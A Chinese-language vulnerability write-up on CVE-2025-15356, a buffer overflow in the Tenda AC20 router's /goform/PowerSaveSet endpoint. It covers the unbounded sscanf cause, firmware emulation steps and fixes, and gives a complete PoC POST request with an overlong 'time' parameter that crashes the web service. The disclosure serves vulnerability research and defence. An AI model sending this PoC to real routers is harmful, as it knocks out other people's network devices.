[CVE-2025-15356]Tenda AC20 缓冲区溢出

漏洞描述
漏洞名称 Tenda AC20 Buffer Overflow
发现时间/披露时间 2025-12-30 发现来源 https://nvd.nist.gov/vuln/detail/CVE-2025-15356
CVE编号 CVE-2025-15356 CVSS 4.0评分 7.4
CNVD编号 CNNVD编号
漏洞类型 漏洞危害等级 高危
POC情况 有 EXP情况 有
在野利用 无 研究情况 有
危害描述 在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。 攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求, 可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。
相关漏洞 CVE-2025-14654 CVE-2025-8939
时间线 报送时间: 收录时间:2025-12-30 更新时间:2025-12-31

基本信息

漏洞概述

在 Tenda AC20 路由器固件版本 V16.03.08.12 中发现一处缓冲区溢出漏洞。攻击者通过向 HTTP 接口路径 /goform/PowerSaveSet 发送精心构造的 POST 请求,可触发目标进程异常,造成拒绝服务(DoS),在特定条件下亦可能具备进一步利用的风险。

该问题与对用户可控字符串的解析有关:在相关处理逻辑中使用了类似如下的 sscanf 调用对输入进行拆分赋值,但未对目标缓冲区写入长度进行边界限制。
sscanf(s, "%[^:]:%[^-]-%[^:]:%s", v7, v8, v9, v10);

影响范围与危害

  • 拒绝服务(DoS):可导致 Web 管理服务或相关进程崩溃,表现为页面不可访问、服务异常或设备重启等。

漏洞成因分析

接口 /goform/PowerSaveSet 在处理参数 time 等字段时,会在若干参数非空的条件下进入对应分支逻辑,并最终调用 sscanf 使用 %[^:]、%[^-]、%s 等格式从输入字符串 s 解析多个片段到目标缓冲区。

上述格式在未指定最大宽度的情况下,会一直读取直到遇到分隔符(或字符串结束),并将结果写入目标缓冲区;若目标缓冲区长度不足且缺少额外边界检查,则会产生越界写 ,从而触发缓冲区溢出。

当攻击者构造超长 time 参数时,sscanf 解析写入过程会覆盖相邻内存,导致程序异常终止。

触发条件

  • 目标设备运行受影响固件版本(<= V16.03.08.12)。
  • 可向设备 HTTP 管理接口发送请求(是否需要认证取决于设备配置与接口访问控制策略)。
  • 请求参数中 powerSavingEn、time、powerSaveDelay、ledCloseType 等字段满足进入处理分支的非空条件。
  • 其中 time 被构造为超长值以触发 sscanf 越界写。

复现环境

  • 设备型号: Tenda AC20
  • 固件版本: V16.03.08.12
  • 测试端: 可使用浏览器/脚本工具(curl、Burp Suite 等)发送构造的 HTTP POST 请求

复现步骤

  1. 使用 binwalk(或在线工具 IoT固件分析工具)对固件进行解包:

    bash 复制代码
    binwalk -Me US_AC20V1.0re_V16.03.08.12_cn_TDC01.bin
  2. 在 Ubuntu 虚拟机中使用 qemu-mipsel-static 进行固件仿真,启动 httpd:

    bash 复制代码
    sudo chroot . ./qemu-mipsel-static ./bin/httpd
  3. 启动后进程一直卡在 "Welcome to"。结合对 httpd 的分析,需在宿主环境配置虚拟网桥 br0:

    bash 复制代码
    sudo brctl addbr br0
    sudo ifconfig br0 192.168.0.1/24
  4. 重新启动仿真环境后访问 http://192.168.0.1,页面提示 Page not found:

  5. 进一步检查 Web 目录结构:webroot 为符号链接,指向 /var/webroot,但该目录为空:

  6. 将 webroot_ro 中的静态资源复制到 /var/webroot,刷新页面后可正常加载:

    bash 复制代码
    cp -rf webroot_ro/* var/webroot/
  7. 向接口 /goform/PowerSaveSet 发送 PoC 中的 POST 请求(重点为构造超长 time 参数):

  8. 观察现象:Web 服务不可用、相关进程崩溃(可表现为管理页面异常/无法访问等):

PoC

具体exp见CVE-2025-15356

JSON 复制代码
POST /goform/PowerSaveSet HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/main.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 485

powerSavingEn=1&time=uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf&powerSaveDelay=1&ledCloseType=1

修复建议

  • 对所有来自 HTTP 参数的字符串解析与拷贝操作加入严格的长度校验。
  • 避免使用不带宽度限制的 sscanf 解析到固定长度缓冲区。
    • 例如为每个 %s / %[^:] / %[^-] 指定最大宽度(与目标缓冲区大小一致并预留 \0)。
  • 在解析前对输入整体长度进行上限限制,并在异常情况下安全返回错误。
  • 开启并验证编译与运行时防护(如栈保护、ASLR、FORTIFY 等),并进行模糊测试覆盖相关接口。
相关推荐
Lzg_na1 小时前
数据链路层差错控制使用的算法详解
网络
努力努力再努力wz2 小时前
【C++ 高阶系列】C++ 高性能网络编程:当 Reactor 遇见协程:从 epoll 回调到异步 MySQL,彻底打通任务挂起与恢复
网络·c++·mysql
loulanyue_2 小时前
当AI学会自主攻击与渗透破壁:Agent行为链失控与Mythos级攻防颠覆下的安全范式重构——读CNCC2026第六届网络生态治理论坛实录
网络·人工智能·安全
2401_868534782 小时前
英语演讲:麻省理工校长2024年毕业典礼演讲
服务器·网络
码完就睡3 小时前
Linux——以太网协议
运维·服务器·网络·1024程序员节
CV爱数码3 小时前
论文精读|RED-CNN:残差编解码网络,低剂量 CT 去噪的经典基线
网络·人工智能·算法·cnn·ct·重建·x-ray
星恒讯工业路由器3 小时前
Modbus透传和Modbus网关有什么区别?从字节转发到协议翻译的选型思路
网络·物联网·modbus·工业物联网·工业网关·rs485·协议转换
李&@杰3 小时前
交换机PoE供电不足导致AP反复重启故障处理
网络·华为
香蕉大香蕉(06敬畏市场)3 小时前
高频八股 · Java 并发编程(10):异步、ThreadLocal 与虚拟线程(收官)
java·开发语言·网络·jvm·python·ai·实习
钱工的门窗技术笔记4 小时前
铝木复合门窗中木材的角色分类与界面可分解性:结构判定、失效路径与维护设计
网络·物联网·数据分析